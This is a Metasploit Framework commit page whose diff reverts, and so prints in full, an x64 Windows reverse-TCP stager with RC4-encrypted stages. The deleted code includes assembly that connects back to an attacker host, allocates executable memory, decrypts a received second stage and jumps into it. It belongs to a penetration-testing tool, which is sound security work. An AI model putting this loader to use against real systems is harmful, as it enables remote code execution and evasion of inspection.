Revert "Land #9565, Reverse TCP x64 RC4 via max3raza's rc4_x64 asm"
This reverts commit4.xfcc579377f
, reversing changes made to95cd149378
.
parent
4841f29190
commit
d2150c8d15
|
@ -1,97 +0,0 @@
|
||||||
# -*- coding: binary -*-
|
|
||||||
|
|
||||||
require 'msf/core'
|
|
||||||
|
|
||||||
module Msf
|
|
||||||
|
|
||||||
###
|
|
||||||
#
|
|
||||||
# RC4 decryption stub for Windows ARCH_X64 payloads
|
|
||||||
#
|
|
||||||
###
|
|
||||||
module Payload::Windows::Rc4_x64
|
|
||||||
#
|
|
||||||
# Register rc4 specific options
|
|
||||||
#
|
|
||||||
def initialize(*args)
|
|
||||||
super
|
|
||||||
register_options([ OptString.new('RC4PASSWORD', [true, 'Password to derive RC4 key from', 'msf']) ], self.class)
|
|
||||||
end
|
|
||||||
|
|
||||||
#
|
|
||||||
# Generate assembly code that decrypts RC4 shellcode in-place
|
|
||||||
#
|
|
||||||
|
|
||||||
def asm_decrypt_rc4
|
|
||||||
%!
|
|
||||||
;-----------------------------------------------------------------------------;
|
|
||||||
; Author: max3raza
|
|
||||||
; Version: 1.0 (12 January 2018)
|
|
||||||
;-----------------------------------------------------------------------------;
|
|
||||||
; Input: R9 - Data to decode
|
|
||||||
; RCX - Data length
|
|
||||||
; RSI - Key (16 bytes for simplicity and smaller code)
|
|
||||||
; RDI - pointer to 0x100 bytes scratch space for S-box
|
|
||||||
; Direction flag has to be cleared
|
|
||||||
; Output: None. Data is decoded in place.
|
|
||||||
; Clobbers: RAX, RBX, RCX, RDX, R8, R9, RDI (stack is not used)
|
|
||||||
; Initialize S-box
|
|
||||||
xor rax, rax ; Start with 0
|
|
||||||
mov r8, rdi ; Save pointer to S-box
|
|
||||||
init:
|
|
||||||
stosb ; Store next S-Box byte S[i] = i
|
|
||||||
inc al ; increase byte to write (RDI is increased automatically)
|
|
||||||
jnz init ; loop until we wrap around
|
|
||||||
; permute S-box according to key
|
|
||||||
xor rbx, rbx ; Clear RBX (RAX is already cleared)
|
|
||||||
permute:
|
|
||||||
add bl, [r8+rax] ; BL += S[AL] + KEY[AL % 16]
|
|
||||||
mov rdx, rax
|
|
||||||
and dl, 0xF
|
|
||||||
add bl, [rsi+rdx]
|
|
||||||
mov dl, [r8+rax] ; swap S[AL] and S[BL]
|
|
||||||
xchg dl, [r8+rbx]
|
|
||||||
mov [r8+rax], dl
|
|
||||||
inc al ; AL += 1 until we wrap around
|
|
||||||
jnz permute
|
|
||||||
; decryption loop
|
|
||||||
xor rbx, rbx ; Clear RBX (RAX is already cleared)
|
|
||||||
decrypt:
|
|
||||||
inc al ; AL += 1
|
|
||||||
add bl, [r8+rax] ; BL += S[AL]
|
|
||||||
mov dl, [r8+rax] ; swap S[AL] and S[BL]
|
|
||||||
xchg dl, [r8+rbx]
|
|
||||||
mov [r8+rax], dl
|
|
||||||
add dl, [r8+rbx] ; DL = S[AL]+S[BL]
|
|
||||||
mov dl, [r8+rdx] ; DL = S[DL]
|
|
||||||
xor [r9], dl ; [R9] ^= DL
|
|
||||||
inc r9 ; advance data pointer
|
|
||||||
dec rcx ; reduce counter
|
|
||||||
jnz decrypt ; until finished
|
|
||||||
!
|
|
||||||
end
|
|
||||||
|
|
||||||
def generate_stage(opts = {})
|
|
||||||
p = super(opts)
|
|
||||||
xorkey, rc4key = rc4_keys(datastore['RC4PASSWORD'])
|
|
||||||
c1 = OpenSSL::Cipher.new('RC4')
|
|
||||||
c1.decrypt
|
|
||||||
c1.key = rc4key
|
|
||||||
p = c1.update(p)
|
|
||||||
[ p.length ^ xorkey.unpack('V')[0] ].pack('V') + p
|
|
||||||
end
|
|
||||||
|
|
||||||
def handle_intermediate_stage(_conn, _payload)
|
|
||||||
false
|
|
||||||
end
|
|
||||||
|
|
||||||
private
|
|
||||||
|
|
||||||
def rc4_keys(rc4pass = '')
|
|
||||||
m = OpenSSL::Digest.new('sha1')
|
|
||||||
m.reset
|
|
||||||
key = m.digest(rc4pass)
|
|
||||||
[key[0, 4], key[4, 16]]
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
|
@ -69,7 +69,6 @@ module Payload::Windows::ReverseTcp_x64
|
||||||
start:
|
start:
|
||||||
pop rbp ; block API pointer
|
pop rbp ; block API pointer
|
||||||
#{asm_reverse_tcp(opts)}
|
#{asm_reverse_tcp(opts)}
|
||||||
#{asm_block_recv(opts)}
|
|
||||||
^
|
^
|
||||||
Metasm::Shellcode.assemble(Metasm::X64.new, combined_asm).encode_string
|
Metasm::Shellcode.assemble(Metasm::X64.new, combined_asm).encode_string
|
||||||
end
|
end
|
||||||
|
@ -106,6 +105,7 @@ module Payload::Windows::ReverseTcp_x64
|
||||||
#
|
#
|
||||||
def asm_reverse_tcp(opts={})
|
def asm_reverse_tcp(opts={})
|
||||||
|
|
||||||
|
reliable = opts[:reliable]
|
||||||
retry_count = [opts[:retry_count].to_i, 1].max
|
retry_count = [opts[:retry_count].to_i, 1].max
|
||||||
encoded_port = [opts[:port].to_i,2].pack("vn").unpack("N").first
|
encoded_port = [opts[:port].to_i,2].pack("vn").unpack("N").first
|
||||||
encoded_host = Rex::Socket.addr_aton(opts[:host]||"127.127.127.127").unpack("V").first
|
encoded_host = Rex::Socket.addr_aton(opts[:host]||"127.127.127.127").unpack("V").first
|
||||||
|
@ -191,15 +191,7 @@ module Payload::Windows::ReverseTcp_x64
|
||||||
^
|
^
|
||||||
asm << asm_send_uuid if include_send_uuid
|
asm << asm_send_uuid if include_send_uuid
|
||||||
|
|
||||||
asm
|
asm << %Q^
|
||||||
|
|
||||||
end
|
|
||||||
|
|
||||||
def asm_block_recv(opts={})
|
|
||||||
|
|
||||||
reliable = opts[:reliable]
|
|
||||||
|
|
||||||
asm = %Q^
|
|
||||||
recv:
|
recv:
|
||||||
; Receive the size of the incoming second stage...
|
; Receive the size of the incoming second stage...
|
||||||
sub rsp, 16 ; alloc some space (16 bytes) on stack for to hold the
|
sub rsp, 16 ; alloc some space (16 bytes) on stack for to hold the
|
||||||
|
|
|
@ -1,189 +0,0 @@
|
||||||
# -*- coding: binary -*-
|
|
||||||
|
|
||||||
require 'msf/core'
|
|
||||||
require 'msf/core/payload/windows/x64/reverse_tcp'
|
|
||||||
require 'msf/core/payload/windows/x64/rc4'
|
|
||||||
|
|
||||||
module Msf
|
|
||||||
|
|
||||||
###
|
|
||||||
#
|
|
||||||
# Complex reverse_tcp payload generation for Windows ARCH_X64
|
|
||||||
#
|
|
||||||
###
|
|
||||||
|
|
||||||
module Payload::Windows::ReverseTcpRc4_x64
|
|
||||||
|
|
||||||
include Msf::Payload::Windows::ReverseTcp_x64
|
|
||||||
include Msf::Payload::Windows::Rc4_x64
|
|
||||||
|
|
||||||
#
|
|
||||||
# Generate the first stage
|
|
||||||
#
|
|
||||||
def generate
|
|
||||||
xorkey, rc4key = rc4_keys(datastore['RC4PASSWORD'])
|
|
||||||
conf = {
|
|
||||||
port: datastore['LPORT'],
|
|
||||||
host: datastore['LHOST'],
|
|
||||||
retry_count: datastore['ReverseConnectRetries'],
|
|
||||||
xorkey: xorkey,
|
|
||||||
rc4key: rc4key,
|
|
||||||
reliable: false
|
|
||||||
}
|
|
||||||
|
|
||||||
# Generate the advanced stager if we have space
|
|
||||||
if self.available_space && required_space <= self.available_space
|
|
||||||
conf[:exitfunk] = datastore['EXITFUNC']
|
|
||||||
conf[:reliable] = true
|
|
||||||
end
|
|
||||||
|
|
||||||
generate_reverse_tcp_rc4(conf)
|
|
||||||
end
|
|
||||||
|
|
||||||
#
|
|
||||||
# By default, we don't want to send the UUID, but we'll send
|
|
||||||
# for certain payloads if requested.
|
|
||||||
#
|
|
||||||
def include_send_uuid
|
|
||||||
false
|
|
||||||
end
|
|
||||||
|
|
||||||
#
|
|
||||||
# Generate and compile the stager
|
|
||||||
#
|
|
||||||
def generate_reverse_tcp_rc4(opts={})
|
|
||||||
combined_asm = %Q^
|
|
||||||
cld ; Clear the direction flag.
|
|
||||||
and rsp, ~0xF ; Ensure RSP is 16 byte aligned
|
|
||||||
call start ; Call start, this pushes the address of 'api_call' onto the stack.
|
|
||||||
#{asm_block_api}
|
|
||||||
start:
|
|
||||||
pop rbp ; block API pointer
|
|
||||||
#{asm_reverse_tcp(opts)}
|
|
||||||
#{asm_block_recv_rc4(opts)}
|
|
||||||
^
|
|
||||||
Metasm::Shellcode.assemble(Metasm::X64.new, combined_asm).encode_string
|
|
||||||
end
|
|
||||||
|
|
||||||
def asm_block_recv_rc4(opts={})
|
|
||||||
xorkey = Rex::Text.to_dword(opts[:xorkey]).chomp
|
|
||||||
reliable = opts[:reliable]
|
|
||||||
asm = %Q^
|
|
||||||
recv:
|
|
||||||
; Receive the size of the incoming second stage...
|
|
||||||
sub rsp, 16 ; alloc some space (16 bytes) on stack for to hold the
|
|
||||||
; second stage length
|
|
||||||
mov rdx, rsp ; set pointer to this buffer
|
|
||||||
xor r9, r9 ; flags
|
|
||||||
push 4 ;
|
|
||||||
pop r8 ; length = sizeof( DWORD );
|
|
||||||
mov rcx, rdi ; the saved socket
|
|
||||||
mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')}
|
|
||||||
call rbp ; recv( s, &dwLength, 4, 0 );
|
|
||||||
^
|
|
||||||
|
|
||||||
if reliable
|
|
||||||
asm << %Q^
|
|
||||||
; reliability: check to see if the recv worked, and reconnect
|
|
||||||
; if it fails
|
|
||||||
cmp eax, 0
|
|
||||||
jle cleanup_socket
|
|
||||||
^
|
|
||||||
end
|
|
||||||
|
|
||||||
asm << %Q^
|
|
||||||
add rsp, 32 ; we restore RSP from the api_call so we can pop off RSI next
|
|
||||||
|
|
||||||
; Alloc a RWX buffer for the second stage
|
|
||||||
pop rsi ; pop off the second stage length
|
|
||||||
mov esi, esi ; only use the lower-order 32 bits for the size
|
|
||||||
xor esi, #{xorkey} ; XOR the stage length
|
|
||||||
lea r11, [rsi+0x100] ; R11 = stage length + S-box length (alloc length)
|
|
||||||
push 0x40 ;
|
|
||||||
pop r9 ; PAGE_EXECUTE_READWRITE
|
|
||||||
push 0x1000 ;
|
|
||||||
pop r8 ; MEM_COMMIT
|
|
||||||
mov rdx, rsi ; the newly recieved second stage length.
|
|
||||||
xor rcx,rcx ; NULL as we dont care where the allocation is.
|
|
||||||
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')}
|
|
||||||
call rbp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
|
||||||
; Receive the second stage and execute it...
|
|
||||||
; mov rbx, rax ; rbx = our new memory address for the new stage
|
|
||||||
lea rbx, [rax+0x100]
|
|
||||||
; mov r15, rax ; save the address so we can jump into it later
|
|
||||||
mov r15, rbx
|
|
||||||
push rbx ; save stage address
|
|
||||||
push rsi ; push stage length
|
|
||||||
push rax ; push the address of the S-box
|
|
||||||
|
|
||||||
read_more: ;
|
|
||||||
xor r9, r9 ; flags
|
|
||||||
mov r8, rsi ; length
|
|
||||||
mov rdx, rbx ; the current address into our second stages RWX buffer
|
|
||||||
mov rcx, rdi ; the saved socket
|
|
||||||
mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')}
|
|
||||||
call rbp ; recv( s, buffer, length, 0 );
|
|
||||||
add rsp, 32 ; restore stack after api_call
|
|
||||||
^
|
|
||||||
|
|
||||||
if reliable
|
|
||||||
asm << %Q^
|
|
||||||
; reliability: check to see if the recv worked, and reconnect
|
|
||||||
; if it fails
|
|
||||||
cmp eax, 0
|
|
||||||
jge read_successful
|
|
||||||
|
|
||||||
; something failed so free up memory
|
|
||||||
pop rax
|
|
||||||
push r15
|
|
||||||
pop rcx ; lpAddress
|
|
||||||
push 0x4000 ; MEM_COMMIT
|
|
||||||
pop r8 ; dwFreeType
|
|
||||||
push 0 ; 0
|
|
||||||
pop rdx ; dwSize
|
|
||||||
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualFree')}
|
|
||||||
call rbp ; VirtualFree(payload, 0, MEM_COMMIT)
|
|
||||||
|
|
||||||
cleanup_socket:
|
|
||||||
; clean up the socket
|
|
||||||
push rdi ; socket handle
|
|
||||||
pop rcx ; s (closesocket parameter)
|
|
||||||
mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'closesocket')}
|
|
||||||
call rbp
|
|
||||||
|
|
||||||
; and try again
|
|
||||||
dec r14 ; decrement the retry count
|
|
||||||
jmp create_socket
|
|
||||||
^
|
|
||||||
end
|
|
||||||
|
|
||||||
asm << %Q^
|
|
||||||
read_successful:
|
|
||||||
add rbx, rax ; buffer += bytes_received
|
|
||||||
sub rsi, rax ; length -= bytes_received
|
|
||||||
; test rsi, rsi ; test length
|
|
||||||
jnz read_more ; continue if we have more to read
|
|
||||||
mov r14, rdi ; save socket handle
|
|
||||||
pop rdi ; address of S-box
|
|
||||||
pop rcx ; stage length
|
|
||||||
pop r9 ; address of stage
|
|
||||||
push r14 ; save socket
|
|
||||||
call after_key ; Call after_key, this pushes the address of the key onto the stack.
|
|
||||||
db #{raw_to_db(opts[:rc4key])}
|
|
||||||
after_key:
|
|
||||||
pop rsi ; rsi = RC4 key
|
|
||||||
#{asm_decrypt_rc4}
|
|
||||||
pop rdi ; restrore socket handle
|
|
||||||
jmp r15 ; return into the second stage
|
|
||||||
^
|
|
||||||
|
|
||||||
if opts[:exitfunk]
|
|
||||||
asm << asm_exitfunk(opts)
|
|
||||||
end
|
|
||||||
|
|
||||||
asm
|
|
||||||
end
|
|
||||||
|
|
||||||
end
|
|
||||||
|
|
||||||
end
|
|
|
@ -1,35 +0,0 @@
|
||||||
# -*- coding: binary -*-
|
|
||||||
##
|
|
||||||
# This module requires Metasploit: https://metasploit.com/download
|
|
||||||
# Current source: https://github.com/rapid7/metasploit-framework
|
|
||||||
##
|
|
||||||
|
|
||||||
require 'msf/core/handler/reverse_tcp'
|
|
||||||
require 'msf/core/payload/windows/x64/reverse_tcp_rc4'
|
|
||||||
|
|
||||||
|
|
||||||
module MetasploitModule
|
|
||||||
|
|
||||||
CachedSize = 398
|
|
||||||
|
|
||||||
include Msf::Payload::Stager
|
|
||||||
include Msf::Payload::Windows::ReverseTcpRc4_x64
|
|
||||||
|
|
||||||
def self.handler_type_alias
|
|
||||||
"reverse_tcp_rc4"
|
|
||||||
end
|
|
||||||
|
|
||||||
def initialize(info = {})
|
|
||||||
super(merge_info(info,
|
|
||||||
'Name' => 'Reverse TCP Stager (RC4 Stage Encryption, Metasm)',
|
|
||||||
'Description' => 'Connect back to the attacker',
|
|
||||||
'Author' => ['hdm', 'skape', 'sf', 'mihi', 'max3raza', 'RageLtMan'],
|
|
||||||
'License' => MSF_LICENSE,
|
|
||||||
'Platform' => 'win',
|
|
||||||
'Arch' => ARCH_X64,
|
|
||||||
'Handler' => Msf::Handler::ReverseTcp,
|
|
||||||
'Convention' => 'sockrdi',
|
|
||||||
'Stager' => { 'RequiresMidstager' => false }
|
|
||||||
))
|
|
||||||
end
|
|
||||||
end
|
|
Loading…
Reference in New Issue